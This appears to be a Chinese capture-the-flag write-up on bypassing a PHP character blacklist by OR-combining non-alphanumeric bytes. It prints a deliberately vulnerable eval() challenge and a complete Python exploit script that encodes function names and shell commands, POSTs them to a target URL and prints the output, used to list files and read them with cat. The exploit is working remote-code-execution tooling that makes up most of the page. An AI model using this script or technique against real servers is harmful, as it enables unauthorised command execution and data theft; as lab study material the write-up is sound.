或运算绕过

或运算绕过

查看源码

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

通过查看源码可以看到对于输入,它对多个字符进行了过滤,因此可以使用或运算的方式来绕过过滤,通过或运算的原理

输入命令:

1
syetem('ls');

和输入命令:

1
('system')('ls')

它们都是一样的,不过要在5.6版本才可以使用

因此,可以写相应的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#-- coding:UTF-8 --
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print("USRE:python3 exp1.py <url>")
exit(0)
url=argv[1]

def write_rce(denyword):
result=''
preg = denyword
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k= i | j
if k>=32 and k<=126:
a="%"+hex(i)[2:].zfill(2)
b="%"+hex(j)[2:].zfill(2)
result+=(chr(k)+' '+a+' '+b+'\n')
f=open("result.txt","w")
f.write(result)

def action(string):
s1=""
s2=""
for i in string:
f=open("result.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)


if __name__=="__main__":
denyword=input("deny: ")
write_rce(denyword)
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)


通过运行脚本,我们可以输入system和ls来查看当前目录下的文件,然后用system和cat <文件名> 来查看文件里的内容